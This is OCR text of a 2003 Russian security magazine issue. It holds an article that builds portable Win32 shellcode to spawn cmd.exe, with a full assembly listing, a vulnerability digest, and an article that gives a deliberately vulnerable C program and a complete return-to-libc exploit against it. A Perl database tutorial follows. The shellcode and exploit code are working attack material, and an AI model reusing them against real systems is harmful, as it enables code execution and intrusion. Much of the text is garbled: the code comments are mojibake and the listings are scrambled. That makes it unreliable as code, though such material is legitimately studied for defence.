безопасность Shell-код – это двоичный код, который выполняется в контексте другой программы. Когда уязвимость уже обнаружена и начинается написание эксплоита, необходимо для себя решить, будет ли эксплоит зависеть только от версии уязвимой программы или ещё он будет зависеть от версии операционной системы. Если атакующий хочет, чтобы его эксплоит работал на большинстве систем, то ему необходимо построить shell-код, который бы не опирался на «жёсткие» адреса WIN API-функций. Для построения такого рода кода необходимо, чтобы shell-код удовлетворял следующим требованиям: Поиск адреса ядра (kernel32.dll). Поиск адреса WIN API-функции GetProcAddress. Поиск адресов других WIN API-функций при помощи функции GetProcAddress. Запуск необходимых нам WIN API-функций по найденным адресам. Каким образом возможно выполнить первое требование? При запуске любой программы в операционных системах семейства Windows она вызывается из ядра. Поэтому первый и относительно сложный способ поиска адреса ядра основан на поиске в стеке. Но если мы воспользуемся этим способом, то наш shell-код станет очень большим, поэтому мы пойдём другим путём. Второй способ обнаружения адреса ядра – при помощи SEH. Что же такое SEH? Это структурированный обработчик исключений. К примеру, если мы пытаемся писать в ядро, то будет вызываться исключение и обрабатываться оно будет при помощи SEH. Адрес обработчика исключений всегда лежит внутри ядра, так что для поиска адреса ядра нам всего лишь необходимо найти последний обработчик. По адресу fs:[0] лежит номер текущего обработчика исключений. Ищем, пока не найдём 0xFFFFFFFF (номер системного обработчика). Этот адрес, в отличие от адреса функции ExitThread в NT, всегда лежит в kernel32.dll. Рассмотрим пример поиска адреса kernel: mov inc

eax, fs:[ebx] ; Óêàçàòåëü íà ñïèñîê ; îáðàáîò÷èêîâ eax ; Óâåëè÷èâàåì eax íà 1

xchg

eax, ebx

стре edx будет находиться адрес ядра. Данный код специально модифицирован таким образом, чтобы в нём не было нулевых байт. Теперь перейдём к поиску адреса функции GetProcAddress. Поиск данной функции используется в большинстве современных вирусов, ориентированных на Windowsсистемы. По определённому смещению в PE-заголовке мы можем найти адрес таблицы экспортов. В таблице экспортов узнаем количество указателей на функции, расположение таблицы указателей имен и адрес таблицы ординалов. Перебираем указатели (и ординалы), проверяя при этом имена функций, на которые они указывают при совпадении с GetProcAddress. При совпадении возьмем ординал и по таблице адресов мы получим адрес функции. Рассмотрим пример поиска адреса функции GetProcAddress: mov mov add cmp jne push add mov mov mov add add cld add Search: lodsd add xchg xchg

next_seh: mov inc jnz mov xchg xor mov dec next_block: cmp je sub jmp found_MZ: mov mov add cmp jne

; ; eax, [ebx-1] ; eax ; next_seh ; ; edx, [ebx-1+4] ; ax, dx ; ; eax,eax ; ax,1001h ax

Îáìåíèâàåì ñîäåðæèìîå eax c ebx Íîìåð òåêóùåãî îáðàáîò÷èêà Óâåëè÷èâàåì eax íà 1 ßâëÿåòñÿ ëè îí ñèñòåìíûì (-1)? Àäðåñ îáðàáîò÷èêà Ýêâèâàëåíòíî xor dx,dx (eax=0) Îáíóëÿåì eax

; Íà÷àëî? ; ÄÀ! ; Èùåì äàëüøå

№9(10), сентябрь 2003

edi,ebp

; ; ; ; ; ; ;

Óêàçûâàåì íà èìÿ íóæíîé íàì ôóíêöèè Êëàä¸ì ecx â ñòåê Îáíóëÿåì ecx Ðàçìåð ñòðîêè Ñðàâíèâàåì

push xor add repe jc

ecx ecx,ecx cl,15 cmpsb restore1

xchg

esi,eax

; Âîññòàíîâèì çíà÷åíèå esi

pop

ecx

xchg

edi,ebp

; ; ; ;

Âîññòàíîâèì êîëè÷åñòâî óêàçàòåëåé Âîññòàíîâèì óêàçàòåëü íà îðäèíàëû

je inc

Found edi

inc

edi

; ; ; ; ;

Íàøëè! Íåò – ïðîáóåì ñëåäóþùóþ ôóíêöèþ Óêàçàòåëü íà ñëåäóþùèé îðäèíàë

loop jmp

Search Exit

xor mov sub

esi,esi si,61125 si,61110

; ; Ïîìåùàåì â esi ÷èñëî 15 ;

sub

esi,ecx

sub jmp

edi,esi rest2

; Âîññòàíàâëèâàåì óêàçàòåëü ; (edi) íà íà÷àëî ñòðîêè ; ;

restore1:

ebx,edx ; Ñîõðàíèì óêàçàòåëü edi,dword ptr [edx+3Ch] ; Àäðåñ ; PE-çàãîëîâêà edi,edx ; +Àäðåñ kernel word ptr [edi],'EP' ; Ïðîâåðêà íà PE Exit ; Íå ðàâíî – âûõîäèì

В результате работы данного куска кода у нас в реги-

ebx,[edi+78h] ; Ïîëó÷èì àäðåñ ; òàáëèöû ýêñïîðòîâ ecx,[ebx+18h] ; Êîëè÷åñòâî óêàçàòåëåé esi,[ebx+20h] ; Óêàçàòåëü íà òàáëèöó ; óêàçàòåëåé èìåí edi,[ebx+24h] ; Óêàçàòåëü íà òàáëèöó ; îðäèíàëîâ esi,edx ; Àäðåñ òàáëèöû èìåí ; â ïàìÿòè edi,edx ; Àäðåñ òàáëèöû îðäèíàëîâ ; â ïàìÿòè ; Ïîèñê âïåðåä ebp,8 ; ebp óêàçûâàåò ; íà ñëåäóþùóþ ñòðîêó ; Èùåì ôóíêöèþ GetProcAddress ; Áåðåì óêàçàòåëü èç òàáëèöû óêàçàòåëåé eax,edx ; Ïîëó÷àåì àäðåñ ïàìÿòè esi,eax ;  esi óêàçàòåëü íà èìÿ ; íàéäåííîé ôóíêöèè

rest2:

; Ïîìåùàåì â eax ; 1000

word ptr [edx],'ZM' found_MZ edx,eax next_block

ebx,edx ; Ñîõðàíèì óêàçàòåëü edi,dword ptr [edx+3Ch] ; Àäðåñ ; PE-çàãîëîâêà edi,edx ; +Àäðåñ kernel word ptr [edi],'EP' ; Ïðîâåðêà íà PE Exit ; Íå ðàâíî – âûõîäèì edx ; Ñîõðàíèì àäðåñ kernel

Found:

67


безопасность xor mov shl mov add add lodsd add

eax,eax ; Îáíóëÿåì eax ax,word ptr [edi] ; ; Âîçüìåì îðäèíàë eax,2 ; Óìíîæèì íà ðàçìåð îðäèíàëà esi,[ebx+1Ch] ; Óêàçàòåëü íà òàáëèöó ; àäðåñîâ esi,edx ; Ïîëó÷èì àäðåñ íà÷àëà ; òàáëèöû àäðåñîâ esi,eax ; È àäðåñ íóæíîé ôóíêöèè ; Ïðî÷èòàåì eax,edx ; Äîáàâèì àäðåñ kernel

В начале этого кода в edx хранится адрес kernel, а в конце в eax хранится адрес функции GetProcAddress. Третье и четвёртое требования выполняются достаточно легко. Для этого необходимо знание о том, с какими параметрами запускаются необходимые нам WIN API-функции. Теперь построим переносимый shell-код для локальной атаки на Win32-системы: .386 .model flat, stdcall extrn ExitProcess:proc .data start: ;---------------[SUPA SHELLCODE]-------------------------Getproc: mov esi,esp ; esi óêàçûâàåò íà âåðøèíó ; ñòåêà xor ecx,ecx ; îáíóëÿåì ecx mov cl,169 ; ecx óêàçûâàåò íà òåêñòîâóþ ; ñòðîêó 'WinExec' add esi,ecx ; È esi òåïåðü óêàçûâåò ; íà 'WinExec' push esi ; Êëàä¸ì esi â ñòåê mov ebp,esi ; È ebp òåïåðü óêàçûâàåò ; íà 'WinExec' mov edi,esi ; È edi òåïåðü óêàçûâàåò ; íà 'WinExec' xor ecx,ecx ; Îáíóëÿåì ecx mov cl,27 ; È êëàä¸ì â cl 27 xor1: lodsb ; Çàãðóæàåì â al áàéò cmp al,01 ; Ïðîâåðÿåì 1 ýòî èëè íåò jne nextb ; Åñëè íåò – èùåì äàëüøå xor al,01 ; Åñëè 1, òî îáíóëÿåì åãî è nextb: stosb ; Âîçâðàùàåì íà ìåñòî loop xor1 ; Òàêèì îáðàçîì, ìû ; âîññòàíàâëèâàåì âñå ; íóæíûå íàì íóëè xor ebx,ebx ; Îáíóëÿåì ebx mov inc

eax, fs:[ebx] ; Óêàçàòåëü íà ñïèñîê ; îáðàáîò÷èêîâ eax ; Óâåëè÷èâàåì eax íà 1

xchg

eax, ebx

next_seh: mov inc jnz mov xchg xor mov dec next_block: cmp je sub jmp found_MZ: mov mov add cmp jne push

68

; ; eax, [ebx-1] ; eax ; next_seh ; ; edx, [ebx-1+4] ; ax, dx ; ; eax,eax ax,1001h ax

Îáìåíèâàåì ñîäåðæèìîå eax c ebx Íîìåð òåêóùåãî îáðàáîò÷èêà Óâåëè÷èâàåì eax íà 1 ßâëÿåòñÿ ëè îí ñèñòåìíûì (-1)? Àäðåñ îáðàáîò÷èêà Ýêâèâàëåíòíî xor dx,dx (eax=0)

; Îáíóëÿåì eax ; Ïîìåùàåì â eax ; 1000

word ptr [edx],'ZM' found_MZ edx,eax next_block

; Íà÷àëî? ; ÄÀ! ; Èùåì äàëüøå

ebx,edx ; Ñîõðàíèì óêàçàòåëü edi,dword ptr [edx+3Ch] ; Àäðåñ ; PE-çàãîëîâêà edi,edx ; +Àäðåñ kernel word ptr [edi],'EP' ; Ïðîâåðêà íà PE Exit ; Íå ðàâíî – âûõîäèì edx ; Ñîõðàíèì àäðåñ ; kernel

add

push xor add repe jc

ebx,[edi+78h] ; ; ecx,[ebx+18h] ; esi,[ebx+20h] ; ; edi,[ebx+24h] ; ; esi,edx ; ; edi,edx ; ; ; ebp,8 ; ; ; ; ; eax,edx ; esi,eax ; ; edi,ebp ; ; ; ecx ; ecx,ecx ; cl,15 ; cmpsb ; restore1

xchg

esi,eax

; Âîññòàíîâèì çíà÷åíèå esi

pop

ecx

xchg

edi,ebp

je inc

Found edi

inc

edi

; ; ; ; ; ; ; ; ;

loop jmp

Search Exit

xor mov sub

esi,esi si,61125 si,61110

; ; Ïîìåùàåì â esi ÷èñëî 15 ;

sub

esi,ecx

sub jmp

edi,esi rest2

; Âîññòàíàâëèâàåì óêàçàòåëü ; (edi) íà íà÷àëî ñòðîêè ; ;

xor mov

eax,eax ; Îáíóëÿåì eax ax,word ptr [edi] ; ; Âîçüìåì îðäèíàë eax,2 ; Óìíîæèì íà ðàçìåð ; îðäèíàëà esi,[ebx+1Ch] ; Óêàçàòåëü íà òàáëèöó ; àäðåñîâ esi,edx ; Ïîëó÷èì àäðåñ íà÷àëà ; òàáëèöû àäðåñîâ esi,eax ; È àäðåñ íóæíîé ôóíêöèè ; Ïðî÷èòàåì eax,edx ; Äîáàâèì àäðåñ kernel eax ; Ïîëó÷àåì àäðåñ ôóíêöèè ; WinExec

mov mov mov add add cld add Search: lodsd add xchg xchg

Ïîëó÷èì àäðåñ òàáëèöû ýêñïîðòîâ Êîëè÷åñòâî óêàçàòåëåé Óêàçàòåëü íà òàáëèöó óêàçàòåëåé èìåí Óêàçàòåëü íà òàáëèöó îðäèíàëîâ Àäðåñ òàáëèöû èìåí â ïàìÿòè Àäðåñ òàáëèöû îðäèíàëîâ â ïàìÿòè Ïîèñê âïåðåä ebp óêàçûâàåò íà ñëåäóþùóþ ñòðîêó Èùåì ôóíêöèþ GetProcAddress Áåðåì óêàçàòåëü èç òàáëèöû óêàçàòåëåé Ïîëó÷àåì àäðåñ ïàìÿòè  esi óêàçàòåëü íà èìÿ íàéäåííîé ôóíêöèè Óêàçûâàåì íà èìÿ íóæíîé íàì ôóíöèè Êëàä¸ì ecx â ñòåê Îáíóëÿåì ecx Ðàçìåð ñòðîêè Ñðàâíèâàåì

rest2: Âîññòàíîâèì êîëè÷åñòâî óêàçàòåëåé Âîññòàíîâèì óêàçàòåëü íà îðäèíàëû Íàøëè! Íåò – ïðîáóåì ñëåäóþùóþ ôóíêöèþ Óêàçàòåëü íà ñëåäóþùèé îðäèíàë

restore1:

Found:

shl mov add add lodsd add call push push

1 ebp

; Çàïîëíÿåì ñòåê ;

call eax ; Çàïóñêàåì "cmd.exe" Exit: ;--------------------------------------------------------db 'WinExec',01 db 'GetProcAddress',01 db 'cmd',01 konec: .code ;--------------------------------------------------------nop ;--------------------------------------------------------end start end

Вот мы и построили переносимый shell-код для 32-битных систем семейства Windows.


bugtraq

Переполнение буфера в тэге Object в Microsoft Internet Explore (подробности) Переполнение буфера обнаружено в Microsoft Internet Explorer. Удаленный атакующий может выполнить произвольный код на системе. Переполнение буфера обнаружено в Microsoft Internet Explorer при обработке HTML-файлов с чрезмерно длинной строкой, содержащей «double-byte»-символы в свойстве Type тэга Object. Удаленный атакующий может сконструировать специально обработанную веб-страницу или HTML-почтовое сообщение, чтобы выполнить произвольный код на системе с привилегиями пользователя без какого-либо взаимодействия с пользователем. Уязвимость обнаружена в Internet Explorer 6 Service Pack 1.

Обход ограничений безопасности в Internet Explorer (подробности) Уязвимость обнаружена в Internet Explorer 6 Service Pack 1 Japanese Edition. При определенных условиях удаленный атакующий может автоматически загрузить и обработать определенный тэг, включенный с HTML-файлом в My Computer zone без уведомления пользователя. Если некоторый MIME-тип определен в Content-Typeзаголовке в HTTP-ответе и некоторая строка определена в Content-Disposition-заголовке, эта строка будет автоматически загружена и открыта внутри Temporary Internet Files (TIF) в Microsoft Internet Explorer. В результате злонамеренный веб-сайт может автоматически выполнить злонамеренный сценарий. Выполненный сценарий раскроет атакующему путь к TIF-каталогу. Дополнительно, если уязвимость эксплуатируется через злонамеренную строку в Content-Disposition-заголовке, тэг OBJECT будет обработан в «My Computer» зоне. В результате злонамеренный веб-сайт может выполнить произвольные программы на компьютере с привилегиями пользователя. Уязвимость обнаружена в Internet Explorer 6 Service Pack 1 Japanese Edition.

Удаленное завершение работы в Sun ONE и iPlanet Web Servers на Windows-системах Уязвимость обнаружена в Sun ONE и iPlanet Web Servers на Windows-системах. Удаленный пользователь может аварийно завершить работу веб-сервера. Дополнительные подробности не раскрываются. Информацию о заплатах можно найти в источнике сообщения. Уязвимость обнаружена в Sun ONE Web Server 6.0 SP3SP5.

№9(10), сентябрь 2003

Удаленное переполнение буфера в XML-функции базы данных Oracle Несколько переполнений буфера обнаружено в Oracle Database в XML-функциях базы данных. Удаленный пользователь может получить доступ к сессии пользователя базы данных. Удаленный пользователь может вызвать несколько переполнений буфера в XML Database (XDB) функциях Oracle9i Database Release 2 сервера. Удаленный пользователь может вызвать отказ в обслуживании на сервере или перехватить активную сессию целевого пользователя базы данных. Уязвимость можно эксплуатировать, если на сервере работает FTP- или HTTP-сервер. Уязвимость обнаружена в Oracle9i Database Release 2 only. Для устранения уязвимости сперва скачайте Oracle9i Database Release 2, version 9.2.0.3 patchset. Затем установите соответствующую заплату, которую можно скачать отсюда: http://metalink.oracle.com

Раскрытие конфигурации Microsoft URLScan при совместном использовании с RSA’s SecurID Уязвимость раскрытия информации обнаружена в RSA’s SecurID, когда используется Microsoft URLScan. Удаленный пользователь может определить подробности URLScan конфигурации на веб-сервере. Если используется SecurID с URLScan, то в некоторых случаях отклоненная информация будет возвращена удаленному пользователю. Удаленный пользователь может выполнить различные HTTP-запросы и, контролируя ответы, определить конфигурацию URLScan. Когда удаленный пользователь запрашивает URL, который будет отвергнут URLScan, веб-сервер возвратит следующую информацию, например: <INPUT TYPE=HIDDEN NAME="referrer" ↵ VALUE="Z2FZ3CRejected-By-UrlScanZ3EZ3FZ7EZ2Firm.ida">

Уязвимость обнаружена в RSA SecurID ACE/Agent 5.0. Для устранения уязвимости в качестве приоритетного ISAPI-фильтра установите SecurID-фильтр.

Поднятие локальных привилегий через DameWare Mini Remote Control Уязвимость обнаружена в DameWare Mini Remote Control (часть DameWare NT Utilities). Локальный пользователь может получить System-привилегии на целевом сервере, используя эксплоит типа Shatter. Локальный пользователь может послать специально сформированное Windows Message к высокопривилегированному процессу DWRCS.exe, чтобы заставить DameWare выполнить произвольный код с System-привилегиями. Уязвимость обнаружена в DameWare до версии 3.71.0.0. Составил Александр Антипов

69


безопасность

АТАКА НА ПЕРЕПОЛНЕНИЕ БУФЕРА ЧЕРЕЗ НЕИСПОЛНИМЫЙ СТЕК В WINDOWS NT/2000/XP

Атаки на переполнение буфера за последние 10 лет получили громадное распространение. Практически во всех современных операционных системах предусматривается защита от данных атак (Black Cat, Sun...). Поэтому не за горами то время, когда данная защита появится и у Windows-систем. В данной статье будет рассматриваться атака на переполнение буфера через неисполнимый стек.

СТАНИСЛАВ ГОШКО 70


безопасность Рассмотрим, чем отличается обычное переполнение буфера от переполнения буфера через неисполнимый стек. Большинство атак на переполнение буфера строятся по следующей схеме: Подготавливается мусор и вычисляются номера байтов, которые перетирают адрес возврата. Подготавливается исполнимый код в качестве буфера. Вычисляется адрес возврата при помощи отладчика, так, чтобы он указывал на исполнимый код в стеке. Затем подготовленный буфер, содержащий мусорные байты, новый адрес возврата и исполнимый код передаются уязвимой программе.

push call

0 ExitProcess

comm1

db 'cmd',0

end start end

Теперь нам необходимо разобраться, как выглядит стек внутри функции WinExec. Рассмотрим схему стека внутри WinExec (вызов данной функции отмечен восклицательными знаками).

Рассмотрим на схеме, как выглядит стек уязвимой программы в момент проведения обычной атаки на срыв стека:

Как вы могли заметить, исполнение shell-кода происходит прямо в стеке. Большинство защит ориентировано на то, чтобы воспрепятствовать выполнению кода в стеке, и данная защита очень хорошо работает против большинства эксплоитов. Теперь для понимания функционирования эксплоитов, использующих атаку через неисполнимый стек, рассмотрим простую программу, которая вызывает через WinExec программу – «cmd.exe». На языке С++ она бы выглядела так: #include <windows.h> void main () { WinExec("cmd",1); }

Для построения нашей атаки нам наиболее важны значения, отмеченные восклицательными знаками. Первый же параметр можно упустить. Перейдём к конструированию нашей атаки. Мы должны так переполнить буфер, чтобы при возвращении из функции мы попали прямиком в WIN API-функцию с заполненным стеком. И самое главное, что стек должен быть заполнен корректно для вызова cmd.exe. Разберём схему построения данной атаки: Подготавливается имя программы («cmd»), мусор и вычисляются номера байтов, которые перетирают адрес возврата. Вычисляется адрес строки при помощи отладчика так, чтобы он указывал на строку «cmd» в стеке. Вычисляются адреса функций: WinExec, ExitProcess. Затем подготовленный буфер, содержащий имя программы («cmd»), мусорные байты, новый адрес строки и адреса функций, передаётся уязвимой программе. Рассмотрим схему стека при реализации данной атаки:

В данной программе не видно вызова функции ExitProcess, так как компилятор C++ сам заботится о корректном завершении программы. Рассмотрим аналогичную программу на языке ассемблера: .386 .model flat, stdcall extrn ExitProcess:proc extrn WinExec:proc .data dd 0 .code start: push push call

1 offset comm1 WinExec

№9(10), сентябрь 2003

; !!!!!

71


безопасность Как вы можете видеть по схеме стека, в момент атаки мы упустили первый параметр функции WinExec. А также мы поставили адрес функции ExitProcess в качестве адреса возврата из функции WinExec. После того, как консоль будет запущена, управление будет передано на функцию ExitProcess, которая корректно завершит процесс. Теперь рассмотрим простую уязвимую программу и построим для неё эксплоит, работающий через неисполнимый стек. Рассмотрим листинг:

Рассмотрим листинг эксплоита: // example exploit by sl0n #include <stdio.h> #include <windows.h> void main() { char garbage[1000]; char buffer[500]; // àäðåñ ôóíêöèè WinExec äëÿ WIN XP char r_address1[8]="\xC6\x84\xE6\x77"; // àäðåñ ôóíêöèè ExitProcess äëÿ WIN XP char r_address2[8]="\xB5\x5C\xE7\x77"; // àäðåñ ñòðîêè "cmd" â ñòýêå char pointer_to_cmd[8]="\x80\xfa\x12\x00"; // Çàïîëíÿåì ñòðîêó ìóñîðîì (nop'û) memset(garbage,'\x90',256); // "cmd " strcat(buffer,"cmd "); // "cmd "+nop'û strcat(buffer,garbage); // "cmd "+nop'û+WinExec strcat(buffer,r_address1); // "cmd "+nop'û+WinExec+ExitProcess strcat(buffer,r_address2); // "cmd "+nop'û+WinExec+ExitProcess+.... strcat(buffer,pointer_to_cmd);

#include <stdio.h> #include <windows.h> void vuln_func(char *stroka) { // áóôåð char buffer[256]; // ôóíêöèÿ â ðåçóëüòàòå âûçûâàþùàÿ ïåðåïîëíåíèå áóôåðà lstrcpyA(buffer,stroka); } void main (int argc, char *argv[]) { // âûçîâ óÿçâèìîé ôóíêöèè vuln_func(argv[1]); printf("Parameter is : %s",argv[1]);

strcpy(garbage,"BUG.EXE "); strcat(garbage,buffer); //"BUG.EXE "+"cmd "+nop'û+WinExec+ExitProcess+point_cmd

}

Откомпилируем её и выясним, что эта программа делает. Если её запустить без параметров, то она выведет следующее: Parameter is : 0(null)

Запустим её следующим образом: c:\x-files\bug.exe aaaaaaa

Тогда данная программа выведет: Parameter is : aaaaaaa

При «aaaaa....aaaa» в количестве больше чем 256 будет происходить переполнение буфера. Теперь, когда у нас есть уязвимая программа, мы можем реализовать эксплоит для неё, который будет действовать по описанному выше принципу.

72

WinExec(buffer,1); }

Как вы могли убедиться, для реализации данной атаки не нужно глубокое знание ассемблера для построения shell-кода. Она гораздо легче реализуется, чем традиционное переполнение буфера. Данный вид атаки на переполнение буфера гораздо более прогрессивный, но существует некоторая сложность построения удалённых эксплоитов данного типа. По-моему, данная атака представляет собой второе дыхание эксплоитов, ориентированных на переполнение буфера. Для борьбы с атаками данного вида системные администраторы должны с большим вниманием следить за обновлением программного обеспечения. При написании статьи использовались материалы: 1. Non-stack Based Exploitation of Buffer Overrun Vulnerabilities on Windows NT/2000/XP by David Litchfield (david@ngssoftware.com).



программирование

РАБОТА С БАЗАМИ ДАННЫХ НА PERL

ВЛАДИСЛАВ ГОШКО 74


программирование В наше время базы данных широко используются в разных сферах человеческой жизни. Самые простые базы данных – это просто файлы определенной структуры, а сложные – это файлы, имеющие свой формат данных и, естественно, определенную структуру. В данной статье я рассмотрю работу с базами данных на языке программирования Perl. Для удобства пойдем от маленького к большому. Для начала давайте рассмотрим обычный файл как базу данных, т.е. обычный файл можно представить как определенно сформатированый текст. Файл будет отформатирован следующим образом: Name1|Value1#Value2#Value3#...#ValueN Name2|Value1#Value2#Value3#...#ValueN Name3|Value1#Value2#Value3#...#ValueN ... NameN|Value1#Value2#Value3#...#ValueN

Почему разделителями я выбрал именно «|» и «#»? Потому что они не являются безопасными символами (из RFC 2396). По той же причине можно было выбрать разделителями любой символ, кроме латинских букв, цифр, и вот этих: ";", "/", "?", ":", "@", "&", "=", "+", "$", ",", "-", "_", ".", "!", "~", "*", "'", "(", ")"

Эти разделители (кроме вышеописанных символов) могут использоваться в значениях или в именах переменных, только нужно будет использовать модуль URI::Escape, для того чтобы переменные с этими разделителями не испортили структуру. Специально для работы с нашими базами данных создадим модуль simple_db.pm. Итак, начнем: #!/usr/bin/perl # ñîçäàåì ïàêåò package simple_db; use Exporter; # êàê è ãîâîðèëîñü, èñïîëüçóåì ìîäóëü äëÿ ïåðåâîäà íåáåçîïàñíûõ # ñèìâîëîâ â ôîðìàò %XX use URI::Escape; @ISA=("Exporter"); @EXPORT=qw(&opendb &closedb %g); # ýêñïîðòèðóåì èñïîëüçóåìûå ôóíêöèè, à òàêæå õåø %g, äëÿ òîãî # ÷òîáû ôóíêöèÿ çíàëà, â êàêîé ôàéë çàïèñûâàòü èçìåíåíèÿ # õåøà, ââîäèìîãî â àðãóìåíòàõ sub opendb{ my($h,$file)=@_; my($name,$vals,@values); local(*DB); open(DB,$file) or return 0; # áëîêèðóåì ôàéë íà òîò ñëó÷àé, åñëè âî âðåìÿ ÷òåíèÿ # êòî-òî çàõî÷åò èçìåíèòü ôàéë (ñîâìåñòíàÿ áëîêèðîâêà – # äëÿ ÷òåíèÿ) flock(DB,1); while(<DB>){ chomp; ($name,$vals)=split(/\|/,$_,2); next if !$name; $name = uri_unescape($name); @values = split(/#/,$vals); # åñëè çíà÷åíèé ìíîãî, ñîçäàåì àíîíèìíûé ìàññèâ, # èíà÷å ïðîñòî ïðèñâàèâàåì îäíî çíà÷åíèå if($#values){ for(0..$#values){ # ïåðåâîäèì ñèìâîëû èç %XX-ôîðìàòà # â íîðìàëüíûé âèä $values[$_]=uri_unescape ↵ ($values[$_]); }

№9(10), сентябрь 2003

$$h{$name}=[@values]; }else{ $vals = uri_unescape($vals); $$h{$name}=$vals; } } close(DB); # çàïèñûâàåì â ãëîáàëüíûé õåø àññîöèàöèþ ññûëêè íà õåø # ñ îòêðûòûì ôàéëîì $g{$h}=$file; } sub ñlosedb{ my($h)=@_; my($key,$val,$fn); # ïî èìåíè õåøà ïîëó÷àåì èìÿ ôàéëà $fn = $g{$h}; local(*DB); # âûõîäèì èç ôóíêöèè, åñëè ôàéëà íå ñóùåñòâóåò return if !(-e $fn); open(DB,">$fn") or return 0; # çàìûêàåì ôàéë # (ìîíîïîëüíàÿ áëîêèðîâêà – äëÿ çàïèñè) flock(DB,2); while(($key,$val) = each %$h){ # îáðàòíî ñîçäàåì ôîðìàò, ïåðåâîäÿ íåáåçîïàñíûå # ñèìâîëû â ôîðìàò %XX print DB uri_escape($key)."|"; if(ref $val){ for(0..$#$val){ $$val[$_]=uri_escape($$val[$_]); } print DB join "#",@$val; }else{ $val=uri_escape($val); print DB $val; } print DB "\n"; } close(DB); } 1;

Если вам нужно открывать файл с определенными правами, то в функциях opendb() и closedb() нужно просто заменить open на sysopen по следующему формату: sysopen FILEHANDLE, FILENAME, MODE, PERMS; и все. Использование довольно простое, возьмем какой-нибудь файл test.pl. В этой же директории должен лежать и модуль simple_db.pm. Вот test.pl: #!/usr/bin/perl use simple_db; # îòêðûâàåì ôàéë test.db è àññîöèèðóåì ñ íèì õåø %h, # èíà÷å óìèðàåì opendb(\%h,"test.db") or die $!; # äîáàâëÿåì çíà÷åíèÿ â õåø $h{'supa|var'}=["special#","tes#t"]; # òàêæå ëåãêî ìîæíî äîáàâèòü ìàññèâ @tmp = ("array","tester"); # äîáàâèëè ... $h{'arr'}=\@tmp; # èëè äîáàâëÿåì ìàññèâ òàê $h{'arr2'}=["some","vars"]; closedb(\%h) or die $!;

Данным образом будет создан файл test.db в текущей директории. С переменной «supa|var» и значениями «speacial#» и «tes#t», и т. д. Я специально использовал небезопасные символы, а со второй и третьей переменной все в порядке – там нет небезопасных символов... А теперь давайте посмотрим, что записано в файле test.db: supa%7Cvar|special%23#tes%23t arr|array#tester arr2|some#vars

75


программирование Т.е. эти символы не помешали нашей структуре файла, они всего лишь были переведены в %XX-формат. А теперь просмотрим всю базу: #!/usr/bin/perl use simple_db; opendb(\%h,"test.db") or die $!; while(($key,$val) = each %h){ print $key." = "; if(ref $val){ # çäåñü, åñëè çíà÷åíèå ïåðåìåííîé ññûëêà íà ìàññèâ print join " ; ",@$val; }else{ print $val; } print "\n"; } closedb(\%h) or die $!;

При выводе база будет выглядеть так: supa|var = special# ; tes#t arr = array ; tester arr2 = some ; vars

Очищаем базу, просто очищая хеш, т.е. %h=(), или можно просто удалить файл следующим образом: unlink "test.db" or die $!;

А при открытии базы открыть файл в режиме создания, т.е. перед opendb() сделать следующее: # $filename - â äàííîì ñëó÷àå èìÿ íàøåãî ôàéëà if(!(-e "$filename")){ open(FILE,">$filename") or die $!; close(FILE); }

Но эта база не может претендовать на большую скорость и большие размеры и, как вы уже успели заметить, в ней не могут быть созданы сложные структуры. Данная база данных вполне подойдет для небольших объемов информации, например, для небольших сайтов или веб-сервисов. С помощью классов можно создать свою вполне приличную базу данных. А теперь давайте расмотрим другие базы данных. Начнем с портированной в вашу систему базу данных (их может быть несколько). Функция dbmopen() довольна стара и поэтому позволяет использовать лишь ту библиотеку DBM, c которой был построен Perl. Но по ходу статьи рассмотрим и более новые методы. Вот пример с dbmopen(): #!/usr/bin/perl use Fcntl; # ñïåöèàëüíî äëÿ òàêèõ ïåðåìåííûõ, êàê O_RDWR, O_CREAT # O_RDWR - ïðàâà: ÷òåíèå, çàïèñü # O_CREAT - ñîçäàòü ôàéë, åñëè îí íå ñóùåñòâóåò dbmopen(%HASH,$FILENAME,O_RDWR|O_CREAT, 0666) or die ↵ "Cant open $FILENAME: $!\n"; # çàíîñèì äàííûå â áàçó äàííûõ $HASH{KEY}="VALUE"; # ïðîâåðÿåì, ñóùåñòâóåò ëè êëþ÷ if(exists $HASH{KEY}){ # ÷òî-òî äåëàåì ñ èíôîðìàöèåé, ïîëó÷åííîé èç áàçû äàííûõ $info = $HASH{KEY}; }

76

# óäàëÿåì êàêîé-íèáóäü êëþ÷ èç áàçû delete $HASH{SOME_KEY}; dbmclose(%HASH);

Также в начале программы можно добавить: use NDBM_File; или use SDBM_File; или use GDBM_File; или use DB_File; – данные модули просто переопределяют стандартный вариант, с которым был построен Perl. Есть также другой способ открытия базы данных – tie и untie. Делается это так: #!/usr/bin/perl use DB_File; # çäåñü ýòî îáÿçàòåëüíî, ò.ê. â ôóíêöèè tie() ìû çàäàåì ìîäóëü use Fcntl; tie(%HASH,"DB_File",$FILENAME,O_RDWR|O_CREAT, 0666) or ↵ die "Can't open $FILENAME: $!\n"; # âñå òå æå ìàíèïóëÿöèè ñ õåøåì, êîòîðûå îïèñûâàëèñü âûøå # ... # à ïîòîì untie(%HASH);

Очищаются базы так же, как и в моем примере, т.к. я свой пример делал по подобию этих баз. Но так же, как и мой пример, данные базы не могут хранить сложные структуры. Для этого требуется модуль DB_File и модуль MLDBM. Модуль MLDBM может хранить в хеше более сложные структуры, чем просто числа и скаляры. Если его у ваc нет, то вы можете его скачать из Интернета: запускаете программу ppm из дистрибутива Perl. И пишите: «install MLDBM» – все должно пройти успешно. Использование вот такое: #!/usr/bin/perl use MLDBM 'DB_File'; use Fcntl; # äëÿ O_RDWR, O_CREAT è ò.ä. tie(%h, "MLDBM", "glob.db", O_RDWR|O_CREAT, 0666) or ↵ die "Couldn't tie DB_File $users: $!; aborting"; $usr{synthetic}->{password}="matrix reloaded"; $h{users}=\%usr; untie %h;

Таким образом была создана база данных glob.db, в которой есть ключ «users», в котором есть пользователь «synthetic» с еще одним вложенным хешем, в котором есть ключ «password» со значением «matrix reloaded». Такая структура очень удобна и легко запрашиваема. Далее посмотрим, как мы проверяем то, что создали: #!/usr/bin/perl use MLDBM 'DB_File'; use Fcntl; # äëÿ O_RDWR, O_CREAT è ò. ä. $access=0; tie(%h,"MLDBM","glod.db",O_RDWR|O_CREAT,0666) or ↵ die "Couldn't tie DB_File $users: $!; aborting"; while(($key,$val) = each %h){ if($key eq "users"){ if($val->{synthetic}->{password} eq ↵ "matrix reloaded"){ $access=1;last; # åñëè âñå ïðàâèëüíî, çàâåðøàåì öèêë } } } untie(%h); if($access){ print "Matrix has you..."; }else{


программирование print "Follow the white rabbit"; }

